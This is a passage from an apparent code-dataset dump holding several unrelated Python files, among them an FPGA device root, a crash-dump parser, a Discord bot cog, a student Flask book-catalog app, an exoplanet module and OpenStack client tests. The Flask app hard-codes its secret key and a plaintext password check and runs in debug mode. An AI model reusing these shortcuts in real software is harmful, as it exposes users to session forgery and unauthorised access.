fpgaType = '',\n **kwargs):\n super().__init__(name=name, description=description, **kwargs)\n\n #################################################################\n\n # DataDev PCIe Card (used for PGP PCIe applications)\n if ( type == 'pcie' ):\n\n self.vc0Srp = rogue.hardware.axi.AxiStreamDma(dev,(lane*0x100)+0,True)\n self.vc1Prbs = rogue.hardware.axi.AxiStreamDma(dev,(lane*0x100)+1,True)\n\n # RUDP Ethernet\n elif ( type == 'rudp' ):\n\n # Create the ETH interface @ IP Address = ip\n self.rudp = pr.protocols.UdpRssiPack(\n host = ip,\n port = 8192,\n packVer = 2,\n jumbo = jumbo,\n expand = False,\n )\n self.add(self.rudp)\n\n # Map the AxiStream.TDEST\n self.vc0Srp = self.rudp.application(0); # AxiStream.tDest = 0x0\n self.vc1Prbs = self.rudp.application(1); # AxiStream.tDest = 0x1\n\n # Undefined device type\n else:\n raise ValueError(\"Invalid type (%s)\" % (type) )\n\n #################################################################\n\n # Connect VC0 to SRPv3\n self.srp = rogue.protocols.srp.SrpV3()\n pr.streamConnectBiDir(self.vc0Srp,self.srp)\n\n if enPrbs:\n\n # Connect VC1 to FW TX PRBS\n self.prbsRx = pyrogue.utilities.prbs.PrbsRx(name='PrbsRx',width=128,expand=False)\n pyrogue.streamConnect(self.vc1Prbs,self.prbsRx)\n self.add(self.prbsRx)\n\n # Connect VC1 to FW RX PRBS\n self.prbTx = pyrogue.utilities.prbs.PrbsTx(name=\"PrbsTx\",width=128,expand=False)\n pyrogue.streamConnect(self.prbTx, self.vc1Prbs)\n self.add(self.prbTx)\n\n # else:\n # pyrogue.streamConnect(self.vc1Prbs,self.vc1Prbs)\n\n # Add registers\n self.add(devBoard.Fpga(\n memBase = self.srp,\n commType = type,\n fpgaType = fpgaType,\n expand = True,\n ))\n","sub_path":"firmware/python/DevBoard/_MyRoot.py","file_name":"_MyRoot.py","file_ext":"py","file_size_in_byte":3216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"516720495","text":"import json\n\nfrom symbolic._lowlevel import lib, ffi\nfrom symbolic._compat import range_type\n\nfrom symbolic.utils import (\n RustObject,\n rustcall,\n decode_str,\n attached_refs,\n make_buffered_slice_reader,\n)\n\n__all__ = [\"Unreal4Crash\"]\n\n\nclass Unreal4Crash(RustObject):\n __dealloc_func__ = lib.symbolic_unreal4_crash_free\n\n @classmethod\n def from_bytes(cls, buffer):\n \"\"\"Parses an Unreal Engine 4 crash\"\"\"\n buffer = ffi.from_buffer(buffer)\n rv = cls._from_objptr(\n rustcall(lib.symbolic_unreal4_crash_from_bytes, buffer, len(buffer))\n )\n attached_refs[rv] = buffer\n return rv\n\n def get_context(self):\n context_json = self._methodcall(lib.symbolic_unreal4_get_context)\n return json.loads(decode_str(context_json, free=True))\n\n def get_logs(self):\n logs_json = self._methodcall(lib.symbolic_unreal4_get_logs)\n return json.loads(decode_str(logs_json, free=True))\n\n @property\n def _file_count(self):\n \"\"\"The count of files within the crash dump\"\"\"\n return self._methodcall(lib.symbolic_unreal4_crash_file_count)\n\n def _file_by_index(self, idx):\n \"\"\"The file at the specified index within the dump\"\"\"\n rv = self._methodcall(lib.symbolic_unreal4_crash_file_by_index, idx)\n if rv == ffi.NULL:\n return None\n\n return Unreal4CrashFile._from_objptr(rv)\n\n def files(self):\n \"\"\"Enumerate files within the UE4 crash\"\"\"\n for idx in range_type(self._file_count):\n yield self._file_by_index(idx)\n\n\nclass Unreal4CrashFile(RustObject):\n __dealloc_func__ = lib.symbolic_unreal4_file_free\n\n @property\n def name(self):\n \"\"\"The file name.\"\"\"\n name = self._methodcall(lib.symbolic_unreal4_file_name)\n return str(decode_str(name, free=True))\n\n @property\n def type(self):\n \"\"\"The type of the file\"\"\"\n ty = self._methodcall(lib.symbolic_unreal4_file_type)\n return str(decode_str(ty, free=True))\n\n def open_stream(self):\n \"\"\"Returns a stream to read files from the internal buffer.\"\"\"\n len_out = ffi.new(\"uintptr_t *\")\n rv = self._methodcall(lib.symbolic_unreal4_file_data, len_out)\n if rv == ffi.NULL:\n return None\n return make_buffered_slice_reader(ffi.buffer(rv, len_out[0]), self)\n\n @property\n def size(self):\n \"\"\"Returns the size of the file in bytes.\"\"\"\n len_out = ffi.new(\"uintptr_t *\")\n self._methodcall(lib.symbolic_unreal4_file_data, len_out)\n return len_out[0]\n","sub_path":"py/symbolic/unreal.py","file_name":"unreal.py","file_ext":"py","file_size_in_byte":2584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"311719461","text":"import discord\nfrom discord.ext import commands\n\nfrom alttprbot.database import discord_server_list\n\n\nclass DiscordServers(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @commands.group(aliases=['dg'])\n @commands.is_owner()\n async def discordservers(self, ctx):\n pass\n\n @discordservers.group()\n @commands.is_owner()\n async def category(self, ctx):\n pass\n\n @category.command(name='add')\n @commands.is_owner()\n async def category_add(self, ctx, channel: commands.TextChannelConverter, category_title, category_description=None, order=0):\n await discord_server_list.add_category(ctx.guild.id, channel.id, category_title=category_title, category_description=category_description, order=order)\n\n @category.command(name='list')\n @commands.is_owner()\n async def category_list(self, ctx):\n results = await discord_server_list.get_categories(ctx.guild.id)\n if results:\n embed = discord.Embed(\n title=\"List of categories\",\n color=discord.Colour.blue(),\n )\n for result in results:\n channel = ctx.guild.get_channel(result['channel_id'])\n embed.add_field(\n name=result['category_title'],\n value=f\"_*Id:*_ {result['id']}\\n_*Channel:*_ {channel.mention}\",\n inline=False\n )\n await ctx.send(embed=embed)\n\n @category.command(name='remove')\n @commands.is_owner()\n async def category_remove(self, ctx, category_id: int):\n await discord_server_list.remove_category(ctx.guild.id, category_id)\n\n @category.command(name='update')\n @commands.is_owner()\n async def category_update(self, ctx, category_id: int, category_title, category_description=None, order=0):\n await discord_server_list.update_category(category_id, ctx.guild.id, category_title, category_description, order)\n\n @discordservers.group()\n @commands.is_owner()\n async def server(self, ctx):\n pass\n\n @server.command(name='add')\n @commands.is_owner()\n async def server_add(self, ctx, category_id: int, invite: commands.InviteConverter, server_description=None):\n await discord_server_list.add_server(ctx.guild.id, invite.id, category_id, server_description=server_description)\n\n @server.command(name='list')\n @commands.is_owner()\n async def server_list(self, ctx, category_id: int):\n results = await discord_server_list.get_servers_for_category(category_id)\n\n if results:\n embed = discord.Embed(\n title=f\"Server list for category id {category_id}\",\n color=discord.Colour.blue(),\n )\n for result in results:\n embed.add_field(\n name=result['server_description'],\n value=f\"_*Id:*_ {result['id']}\",\n inline=False\n )\n await ctx.send(embed=embed)\n\n @server.command(name='remove')\n @commands.is_owner()\n async def server_remove(self, ctx, server_id: int):\n await discord_server_list.remove_server(ctx.guild.id, server_id)\n\n @server.command(name='update')\n @commands.is_owner()\n async def server_update(self, ctx, server_id: int, invite: commands.InviteConverter, category_id: int, server_description=None):\n await discord_server_list.update_server(ctx.guild.id, server_id, invite.id, category_id, server_description)\n\n @discordservers.command()\n @commands.is_owner()\n async def refresh(self, ctx):\n def is_me(m):\n return m.author == self.bot.user\n\n categories = await discord_server_list.get_categories(ctx.guild.id)\n channels_to_update = list(set([c['channel_id'] for c in categories]))\n\n for c in channels_to_update:\n channel = discord.utils.get(ctx.guild.channels, id=c)\n await channel.purge(limit=100, check=is_me)\n\n for category in categories:\n server_list = await discord_server_list.get_servers_for_category(category['id'])\n channel = discord.utils.get(\n ctx.guild.channels, id=category['channel_id'])\n\n list_of_servers = [server_list[i:i+10]\n for i in range(0, len(server_list), 10)]\n\n for idx, servers in enumerate(list_of_servers):\n msgs = [\n f\"**__{category['category_title']}__**\" if len(\n list_of_servers) == 1 else f\"**__{category['category_title']} - Part {idx+1}__**\"\n ]\n msgs += [f\"{s['server_description']}: https://discord.gg/{s['invite_id']}\" for s in servers]\n await channel.send('\\n'.join(msgs))\n\n\ndef setup(bot):\n bot.add_cog(DiscordServers(bot))\n","sub_path":"alttprbot_discord/cogs/discord_servers.py","file_name":"discord_servers.py","file_ext":"py","file_size_in_byte":4819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"502216973","text":"'''David Vayman\nIS211_FINAL'''\nimport urllib2\nfrom flask import Flask, render_template, request, redirect, session, g, url_for, abort, flash\nimport pickle\nimport os.path\nimport time\nimport re\nimport json\nimport sqlite3\n\n#configuration\nDATABASE = 'bookcatalog.db'\nDEBUG = True\nSECRET_KEY = 'development key'\nUSERNAME = 'admin'\nPASSWORD = 'password'\n\napp = Flask(__name__)\napp.config.from_object(__name__)\n\ndef connect_db():\n\treturn sqlite3.connect(app.config['DATABASE'])\n\n@app.before_request\ndef before_request():\n\tg.db = connect_db()\n\t\n@app.teardown_request\ndef teardown_request(exception):\n\tdb = getattr(g, 'db', None)\n\tif db is not None:\n\t\tdb.close()\n\t\t\n@app.route('/lookup', methods=['POST','GET'])\ndef lookup():\n\tisbn = None\n\turlslug = \"https://www.googleapis.com/books/v1/volumes?q=isbn:\"\n\tif request.method == 'POST':\n\t\tisbn = request.form['ISBN']\n\t\tif isbn != \"\":\n\t\t\ttry:\n\t\t\t\tfullurl = urlslug + isbn\n\t\t\t\tresponse = urllib2.urlopen(fullurl)\n\t\t\t\tdata = response.read()\n\t\t\t\tdata = json.loads(data)\n\t\t\t\tvolumedata = data['items'][0]['volumeInfo']\n\t\t\t\ttitle = volumedata['title']\n\t\t\t\tauthors = volumedata['authors'][0]\n\t\t\t\tpagecount = volumedata['pageCount']\n\t\t\t\taveragerating = volumedata['averageRating']\n\t\t\t\tthumbnail = volumedata['imageLinks']['smallThumbnail']\n\t\t\t\treturn render_template('lookup.html',thumbnail = thumbnail, title=title, authors=authors,pagecount=pagecount,averagerating=averagerating,isbn=isbn)\n\t\t\texcept:\n\t\t\t\tflash(\"Error on ISBN lookup, please try again\")\n\t\t\t\treturn redirect(\"/lookup\")\n\t\telse: \n\t\t\tflash(\"Please Enter an ISBN Number\")\n\t\t\treturn redirect(\"/lookup\")\n\telif request.method == 'GET':\n\t\treturn render_template('lookup.html')\n\t\t\n@app.route('/addbook', methods = ['POST'])\ndef addbook():\n\ttry:\n\t\tquerystring = \"INSERT INTO bookcatalog (ISBN,TITLE,AUTHORS,PAGECOUNT,AVERAGERATING, THUMBNAIL) VALUES (?,?,?,?,?,?)\"\n\t\tg.db.execute(querystring,(request.form['isbn'],request.form['title'],request.form['authors'],request.form['pagecount'],request.form['averagerating'],request.form['thumbnail']))\n\t\tg.db.commit()\n\t\tflash(\"Book Added to Catalog\")\n\t\treturn redirect(\"/\")\n\texcept():\n\t\tflash(\"Error Adding Book. Please Try Again\")\n\t\treturn redirect(\"/\")\n\t\n@app.route('/delete', methods = ['GET'])\ndef deletebook():\n\tid = request.args.get('id')\n\tquerystring = \"DELETE FROM bookcatalog WHERE ID = ?\"\n\tg.db.execute(querystring,(id))\n\tg.db.commit()\n\t\n\tflash(\"Book Deleted with ID Number:\"+id)\n\treturn redirect(\"/\")\n\t\n\n@app.route('/login', methods = ['GET', 'POST'])\ndef login():\n\terror = None\n\tif request.method == 'POST':\n\t\tif request.form['username'] != 'username':\n\t\t\terror = \"Invalid Username/Password\"\n\t\telif request.form['password'] != 'password':\n\t\t\terror = \"Invalid Username/Password\"\n\t\telse:\n\t\t\tsession['logged_in'] = True\n\t\t\tflash(\"You were logged in successfully\")\n\t\t\treturn redirect(\"/\")\n\treturn render_template('login.html', error = error)\n@app.route('/logout')\ndef logout():\n\tsession.pop('logged_in', None)\n\tflash(\"You were successfully logged out\")\n\treturn redirect(\"/\")\n\n@app.route('/')\ndef homepage():\n\tquerystring = \"SELECT ID, ISBN,TITLE,AUTHORS,PAGECOUNT,AVERAGERATING, THUMBNAIL FROM bookcatalog\"\n\tcur = g.db.execute(querystring)\n\tbooks = [dict(id = row[0], isbn = row[1], title = row[2], authors = row[3], pagecount= row[4], averagerating = row[5], thumbnail = row[6]) for row in cur.fetchall()]\n\treturn render_template('index.html',books = books)\t\n\t\nif __name__ == \"__main__\":\n app.run(debug=DEBUG)\n\t\n","sub_path":"final_project.py","file_name":"final_project.py","file_ext":"py","file_size_in_byte":3453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"86128611","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport warnings\nfrom decimal import Decimal\n\n###############################\n##### Constants and Units #####\n###############################\n\npi = np.pi\ne = np.e\n# Gravitational constant\nG = 6.67e-11 # m^3 kh^-1 s^-2\n# Stefan-Boltzmann constant\nsigma = 5.67e-8 # W m^-2 K^-4\n# Speed of light\nc = 299792458 # m s^-1\n# Planck's constant\nh = 6.626e-34 # W s^2\n# Boltzmann constant\nk = 1.38e-23 # J K^-1\n\n\ndays = lambda x: x*86400 # days to seconds\nAU = lambda x: x*1.496e11 # AUs to meters\npc = lambda x: x*3.086e16 # parsecs to meters\nMSun = lambda x: x*1.989e30 # MSuns to kgs\nMEarth = lambda x: x*5.982e24 # MEarths to kgs\nMJup = lambda x: x*1.898e27 # MJups to kgs\nRSun = lambda x: x*695.508e6 # RSuns to meters\nREarth = lambda x: x*6.371e6 # REarths to meters\nRJup = lambda x: x*69.911e6 # RJup to meters\n\n\n###############################\n##### Blackbody Radiation #####\n###############################\n\nPlanck = lambda wav,T:(2*h*c**2)/(wav**5)*1/(e**((h*c)/(wav*k*T)))\nWien = lambda T: 2.898e-3/T\n\ndef PlanckCurve(T):\n p = Wien(np.mean(T))\n w = np.arange(p*1e-3,p*5,p*1e-3) \n w = np.array(w,dtype=np.float128)\n if type(T) == list:\n for temp in T:\n plt.plot(w*1e6,Planck(w,temp),label=str(round(temp,2))+' K')\n else:\n plt.plot(w*1e6,Planck(w,T),label=str(round(T,2))+' K')\n plt.xlabel(\"Wavelength (um)\")\n plt.ylabel(\"Flux (Jy)\")\n plt.legend()\n plt.show()\n\n\n###############################\n###### Celestial Bodies ######\n###############################\n\nclass BrownDwarfWarning(UserWarning):\n pass\n\nclass Host():\n def __init__(self,name=None,R=None,M=None,T=None,d=None,planets=[]):\n self.name = name \n self.R = R # radius in m\n self.M = M # mass in kg\n self.T = T # temperature in K\n self.distance = d # distance to star from observer in m\n self.planets = planets # planets or moons\n\n def __str__(self):\n \treturn str(self.name)\n \n # TODO: habitable zone\n\nclass Planet():\n def __init__(self,host=None,name=None,\n R=None,a=None,P=None,\n M=None,alpha=None,Te=None):\n if host:\n self.host = host # host star\n self.host.planets.append(self)\n self.name = str(self.host.name) + str(name) # e.g. 'b' --> 'TRAPPIST-1b'\n if not host or host.name == 'Sun':\n self.name = name\n \n self.R = R # radius in m\n self.M = M # mass in kg\n self.checkMass()\n \n self.a = a # semimajor axis in m\n self.P = P # period in seconds\n\n self.alpha = alpha # albedo\n self.Te = Te # equilibrium temperature in K\n \n self.updateCalcs() # calculate density and a and P as needed\n return None\n\n def updateCalcs(self):\n if self.M and self.R:\n self.density = self.M/(4.0/3*pi*self.R**3)\n # use Kepler's 3rd law to extrapolate\n if self.a and not self.P and self.host:\n \tself.P = (((self.a/AU(1))**3)**(1/2))*days(365)\n if self.P and not self.a and self.host:\n self.a = (((self.P/days(365))**2)**(1/3))*AU(1)\n\n def checkMass(self):\n if self.M:\n if self.M > MJup(12):\n message = \"The planet mass is greater than 12 Jupiters. Deuterium may be fused in the core.\"\n warnings.warn(message,BrownDwarfWarning)\n \n def updateParam(self,key,val):\n \"\"\" Using this function instead of setattr alone or self.key = val\n is recommended in order to keep the density, semimajor axis,\n and period up-to-date with the new parameters. \"\"\"\n setattr(self,key,val)\n if key in ['R','M','a','P']:\n self.updateCalcs()\n\n def __str__(self):\n \treturn str(self.name)\n \n ###############################\n ###### Detection Methods ######\n ###############################\n \n def transit(self,flux,P=None,T=None,verbose=True):\n \tif P:\n \t\tself.P = P\n \tif self.host:\n \t\tself.R = np.sqrt(flux)*self.host.R\n \t\t#self.a = (self.host.R*P)/(pi*T)\n #self.host.M = (4*pi**2*self.a**3)/(G*P**2)\n \tself.updateCalcs()\n \tif verbose:\n \t\tprint(\"Radius:\",str(round(self.R/REarth(1),2)),\"REarths\")\n \n def transitFeasible(self,verbose=True):\n \tflux = (self.R/self.host.R)**2\n \tif verbose:\n \t\tprint(\"Transit depth:\",str(round(flux,4)))\n \tif self.a:\n \tprob = self.host.R/self.a\n \tif verbose:\n \t\tprint(\"Transit probability:\",str(round(prob*100,2))+\"%\")\n \tif self.P:\n \t\tT = (self.P*self.host.R)/(pi*self.a)\n \t\tif verbose:\n \t\t\tprint(\"Period:\",str(round(self.P/days(1),2)),\"days\")\n \t\t\tprint(\"Transit duration:\",str(round(T/3600,2)),\"hours\")\n \n def RV(self,K,P,verbose=True):\n self.K = K\n self.P = P\n if self.host:\n self.M = K*(P/(2*pi*G))**(1/3)*self.host.M**(2/3)\n self.checkMass()\n self.updateCalcs()\n if verbose:\n print(\"Mass:\",str(round(self.M/MEarth(1),2)),\"MEarths\")\n \n def RVFeasible(self,verbose=True):\n K = self.M*self.host.M**(-2.0/3)*(self.P/(2*pi*G))**(-1.0/3)\n if verbose:\n print(\"Host star's velocity:\",str(round(K,2)),\"m/s\")\n\n def astrometryFeasible(self,verbose=True):\n a_star = self.M/self.host.M*self.a\n separation =(a_star*2/AU(1))/(self.host.distance/pc(1))\n if verbose:\n print(\"Angular separation:\",str(round(separation,7))+\"\\\"\")\n \n def directFeasible(self,wav=None,verbose=True):\n # wav is wavelength in meters\n # planet-star separation in arceseconds\n separation = (self.a/AU(1))/(self.host.distance/pc(1))\n if verbose:\n print(\"Angular separation:\",str(round(separation,7))+\"\\\"\")\n # planet-star flux contrast\n if self.R and self.alpha:\n \treflected = self.alpha*(self.R/self.a)**2\n\t if verbose:\n\t\t print(\"Reflected light flux ratio:\",'%.2e' % Decimal(str(reflected)))\n\t if wav and self.host.R:\n\t if not self.Te:\n\t self.T(verbose=False)\n\t thermal = (Planck(wav,self.Te)/Planck(wav,self.host.T))*(self.R/self.host.R)**2\n\t if verbose:\n\t \tprint(\"Thermal emission flux ratio:\",'%.2e' % Decimal(str(thermal)))\n \n def microlensing(self,tp,tstar,verbose=True):\n ratio = (tp/tstar)**2\n if self.host.M:\n self.M = ratio*self.host.M\n self.checkMass()\n if verbose:\n print(\"Mass:\",str(round(self.M/MEarth(1),2)),\"MEarths\")\n else:\n if verbose:\n print(\"Ratio of planetary mass to stellar mass:\",str(round(ratio,2)))\n \n def microlensingFeasible(self,verbose=True):\n ratio = (self.M/self.host.M)**(1/2)\n if verbose:\n print(\"Ratio of planet event time to star event time:\",str(round(ratio,3)))\n \n \n ################################\n ####### Characterization #######\n ################################\n \n def T(self,verbose=True):\n \t# TODO: Fix for things that are not the Sun\n Te = 5778*(1-self.alpha)**(1/4)*(self.host.R/(2*self.a))**(1/2)\n self.Te = Te # equilibrium temperature in K\n self.Tsg = 2**(1/4)*Te # simple greenhouse\n self.Tlg = (2/(2-self.alpha))**(1/4)*Te # leaky greenhouse\n if verbose:\n print(\"Equilibrium temperature:\",str(round(Te,2)),\"K\")\n print(\"Simple greenhouse:\",str(round(self.Tsg,2)),\"K\")\n print(\"Leaky greenhouse:\",str(round(self.Tlg,2)),\"K\")\n \n def graphTemps(self):\n self.T(verbose=False)\n temps = [self.Te,self.Tsg,self.Tlg]\n labels = [\"Equilibrium temp: \"+str(round(self.Te,2))+\" K\",\n \"Simple greenhouse: \"+str(round(self.Tsg,2))+\" K\",\n \"Leaky greenhouse: \"+str(round(self.Tlg,2))+\" K\"]\n p = Wien(np.mean(temps))\n w = np.arange(p*1e-3,p*5,p*1e-3) \n w = np.array(w,dtype=np.float128)\n for T in temps:\n plt.plot(w*1e6,Planck(w,T))\n plt.xlabel(\"Wavelength (um)\")\n plt.ylabel(\"Flux (Jy)\")\n plt.legend(labels)\n plt.show()\n\n # TODO: Central pressure\n\n # TODO: Scale height\n\n # TODO: Transit signal depth","sub_path":"Definitions.py","file_name":"Definitions.py","file_ext":"py","file_size_in_byte":8392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"477808787","text":"# Copyright 2014 Blue Box Group, Inc.\n# All Rights Reserved\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n\nimport sys\n\nfrom mox3 import mox\n\nfrom neutronclient.neutron.v2_0.lb.v2 import loadbalancer as lb\nfrom neutronclient.tests.unit import test_cli20\n\n\nclass CLITestV20LbLoadBalancerJSON(test_cli20.CLITestV20Base):\n\n def test_create_loadbalancer_with_mandatory_params(self):\n # lbaas-loadbalancer-create with mandatory params only.\n resource = 'loadbalancer'\n cmd_resource = 'lbaas_loadbalancer'\n cmd = lb.CreateLoadBalancer(test_cli20.MyApp(sys.stdout), None)\n name = 'lbaas-loadbalancer-name'\n vip_subnet_id = 'vip-subnet'\n my_id = 'my-id'\n args = [vip_subnet_id]\n position_names = ['vip_subnet_id']\n position_values = [vip_subnet_id]\n self._test_create_resource(resource, cmd, name, my_id, args,\n position_names, position_values,\n cmd_resource=cmd_resource)\n\n def test_create_loadbalancer_with_all_params(self):\n # lbaas-loadbalancer-create with all params set.\n resource = 'loadbalancer'\n cmd_resource = 'lbaas_loadbalancer'\n cmd = lb.CreateLoadBalancer(test_cli20.MyApp(sys.stdout), None)\n name = 'lbaas-loadbalancer-name'\n description = 'lbaas-loadbalancer-desc'\n flavor_id = 'lbaas-loadbalancer-flavor'\n vip_subnet_id = 'vip-subnet'\n my_id = 'my-id'\n args = ['--admin-state-down', '--description', description,\n '--name', name, '--flavor', flavor_id, vip_subnet_id]\n position_names = ['admin_state_up', 'description', 'name',\n 'flavor_id', 'vip_subnet_id']\n position_values = [False, description, name, flavor_id, vip_subnet_id]\n self._test_create_resource(resource, cmd, name, my_id, args,\n position_names, position_values,\n cmd_resource=cmd_resource)\n\n def test_list_loadbalancers(self):\n # lbaas-loadbalancer-list.\n resources = 'loadbalancers'\n cmd_resources = 'lbaas_loadbalancers'\n cmd = lb.ListLoadBalancer(test_cli20.MyApp(sys.stdout), None)\n self._test_list_resources(resources, cmd, True,\n cmd_resources=cmd_resources)\n\n def test_list_loadbalancers_pagination(self):\n # lbaas-loadbalancer-list with pagination.\n resources = 'loadbalancers'\n cmd_resources = 'lbaas_loadbalancers'\n cmd = lb.ListLoadBalancer(test_cli20.MyApp(sys.stdout), None)\n self._test_list_resources_with_pagination(resources, cmd,\n cmd_resources=cmd_resources)\n\n def test_list_loadbalancers_sort(self):\n # lbaas-loadbalancer-list --sort-key name --sort-key id --sort-key asc\n # --sort-key desc\n resources = 'loadbalancers'\n cmd_resources = 'lbaas_loadbalancers'\n cmd = lb.ListLoadBalancer(test_cli20.MyApp(sys.stdout), None)\n self._test_list_resources(resources, cmd,\n sort_key=[\"name\", \"id\"],\n sort_dir=[\"asc\", \"desc\"],\n cmd_resources=cmd_resources)\n\n def test_list_loadbalancers_limit(self):\n # lbaas-loadbalancer-list -P.\n resources = 'loadbalancers'\n cmd_resources = 'lbaas_loadbalancers'\n cmd = lb.ListLoadBalancer(test_cli20.MyApp(sys.stdout), None)\n self._test_list_resources(resources, cmd, page_size=1000,\n cmd_resources=cmd_resources)\n\n def test_show_loadbalancer_id(self):\n # lbaas-loadbalancer-loadbalancer-show test_id.\n resource = 'loadbalancer'\n cmd_resource = 'lbaas_loadbalancer'\n cmd = lb.ShowLoadBalancer(test_cli20.MyApp(sys.stdout), None)\n args = ['--fields', 'id', self.test_id]\n self._test_show_resource(resource, cmd, self.test_id, args, ['id'],\n cmd_resource=cmd_resource)\n\n def test_show_loadbalancer_id_name(self):\n # lbaas-loadbalancer-loadbalancer-show.\n resource = 'loadbalancer'\n cmd_resource = 'lbaas_loadbalancer'\n cmd = lb.ShowLoadBalancer(test_cli20.MyApp(sys.stdout), None)\n args = ['--fields', 'id', '--fields', 'name', self.test_id]\n self._test_show_resource(resource, cmd, self.test_id,\n args, ['id', 'name'],\n cmd_resource=cmd_resource)\n\n def _test_update_lb(self, args, expected_values):\n resource = 'loadbalancer'\n cmd_resource = 'lbaas_loadbalancer'\n my_id = 'myid'\n args.insert(0, my_id)\n cmd = lb.UpdateLoadBalancer(test_cli20.MyApp(sys.stdout), None)\n self._test_update_resource(resource, cmd, my_id,\n args, expected_values,\n cmd_resource=cmd_resource)\n\n def test_update_loadbalancer(self):\n # lbaas-loadbalancer-update myid --name newname.\n self._test_update_lb(['--name', 'newname'], {'name': 'newname', })\n # lbaas-loadbalancer-update myid --description check.\n self._test_update_lb(['--description', 'check'],\n {'description': 'check', })\n # lbaas-loadbalancer-update myid --admin-state-up False.\n self._test_update_lb(['--admin-state-up', 'False'],\n {'admin_state_up': 'False', })\n\n def test_delete_loadbalancer(self):\n # lbaas-loadbalancer-loadbalancer-delete my-id.\n resource = 'loadbalancer'\n cmd_resource = 'lbaas_loadbalancer'\n cmd = lb.DeleteLoadBalancer(test_cli20.MyApp(sys.stdout), None)\n my_id = 'my-id'\n args = [my_id]\n self._test_delete_resource(resource, cmd, my_id, args,\n cmd_resource=cmd_resource)\n\n def test_retrieve_loadbalancer_stats(self):\n # lbaas-loadbalancer-stats test_id.\n resource = 'loadbalancer'\n cmd = lb.RetrieveLoadBalancerStats(test_cli20.MyApp(sys.stdout), None)\n my_id = self.test_id\n fields = ['bytes_in', 'bytes_out']\n args = ['--fields', 'bytes_in', '--fields', 'bytes_out', my_id]\n\n self.mox.StubOutWithMock(cmd, \"get_client\")\n self.mox.StubOutWithMock(self.client.httpclient, \"request\")\n cmd.get_client().MultipleTimes().AndReturn(self.client)\n query = \"&\".join([\"fields=%s\" % field for field in fields])\n expected_res = {'stats': {'bytes_in': '1234', 'bytes_out': '4321'}}\n resstr = self.client.serialize(expected_res)\n path = getattr(self.client, \"lbaas_loadbalancer_path_stats\")\n return_tup = (test_cli20.MyResp(200), resstr)\n self.client.httpclient.request(\n test_cli20.end_url(path % my_id, query), 'GET',\n body=None,\n headers=mox.ContainsKeyValue(\n 'X-Auth-Token', test_cli20.TOKEN)).AndReturn(return_tup)\n self.mox.ReplayAll()\n\n cmd_parser = cmd.get_parser(\"test_\" + resource)\n parsed_args = cmd_parser.parse_args(args)\n cmd.run(parsed_args)\n\n self.mox.VerifyAll()\n self.mox.UnsetStubs()\n _str = self.fake_stdout.make_string()\n self.assertIn('bytes_in', _str)\n self.assertIn('1234', _str)\n self.assertIn('bytes_out', _str)\n self.assertIn('4321', _str)\n\n def test_get_loadbalancer_statuses(self):\n # lbaas-loadbalancer-status test_id.\n resource = 'loadbalancer'\n cmd = lb.RetrieveLoadBalancerStatus(test_cli20.MyApp(sys.stdout), None)\n my_id = self.test_id\n args = [my_id]\n\n self.mox.StubOutWithMock(cmd, \"get_client\")\n self.mox.StubOutWithMock(self.client.httpclient, \"request\")\n cmd.get_client().MultipleTimes().AndReturn(self.client)\n\n expected_res = {'statuses': {'operating_status': 'ONLINE',\n 'provisioning_status': 'ACTIVE'}}\n\n resstr = self.client.serialize(expected_res)\n\n path = getattr(self.client, \"lbaas_loadbalancer_path_status\")\n return_tup = (test_cli20.MyResp(200), resstr)\n self.client.httpclient.request(\n test_cli20.end_url(path % my_id), 'GET',\n body=None,\n headers=mox.ContainsKeyValue(\n 'X-Auth-Token', test_cli20.TOKEN)).AndReturn(return_tup)\n self.mox.ReplayAll()\n\n cmd_parser = cmd.get_parser(\"test_\" + resource)\n parsed_args = cmd_parser.parse_args(args)\n cmd.run(parsed_args)\n\n self.mox.VerifyAll()\n self.mox.UnsetStubs()\n _str = self.fake_stdout.make_string()\n self.assertIn('operating_status', _str)\n self.assertIn('ONLINE', _str)\n self.assertIn('provisioning_status', _str)\n self.assertIn('ACTIVE', _str)\n","sub_path":"neutronclient/tests/unit/lb/v2/test_cli20_loadbalancer.py","file_name":"test_cli20_loadbalancer.py","file_ext":"py","file_size_in_byte":9448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"567960307","text":"import argparse\nimport time\nimport os\nimport sys\nimport multiprocessing\nimport pickle\nimport h5py\nimport numpy as np\nfrom tqdm import tqdm\n\nfrom modules.core.CandidateFinder import CandidateFinder\nfrom modules.core.ImageGenerator import ImageGenerator\nfrom modules.handlers.BamHandler import BamHandler\nfrom modules.handlers.FastaHandler import FastaHandler\nfrom modules.handlers.TextColor import TextColor\nfrom modules.handlers.TsvHandler import TsvHandler\nfrom modules.handlers.VcfHandler import VCFFileProcessor\nfrom modules.handlers.FileManager import FileManager\n\"\"\"\nThis script creates training sequences from BAM, Reference FASTA and truth VCF file. The process is:\n- Find candidates that can be variants\n- Label candidates using the VCF\n- Create images for each candidate\n\nInput:\n- BAM file: Alignment of a genome\n- REF file: The reference FASTA file used in the alignment\n- VCF file: A truth VCF file\n- BED file: A confident bed file. If confident_bed is passed it will only generate train set for those region.\n\nOutput:\n- PNG files: Images that can be converted to tensors.\n- CSV file: Containing records of images and their location in the H5PY file.\n\"\"\"\n\n# Global debug helpers\nDEBUG_PRINT_CANDIDATES = False\nDEBUG_TIME_PROFILE = False\nDEBUG_TEST_PARALLEL = False\nLOG_LEVEL_HIGH = 0\nLOG_LEVEL_LOW = 1\nLOG_LEVEL = LOG_LEVEL_LOW\n\nTRAIN_MODE = 1\nTEST_MODE = 2\n\n\nMIN_SEQUENCE_BASE_LENGTH_THRESHOLD = 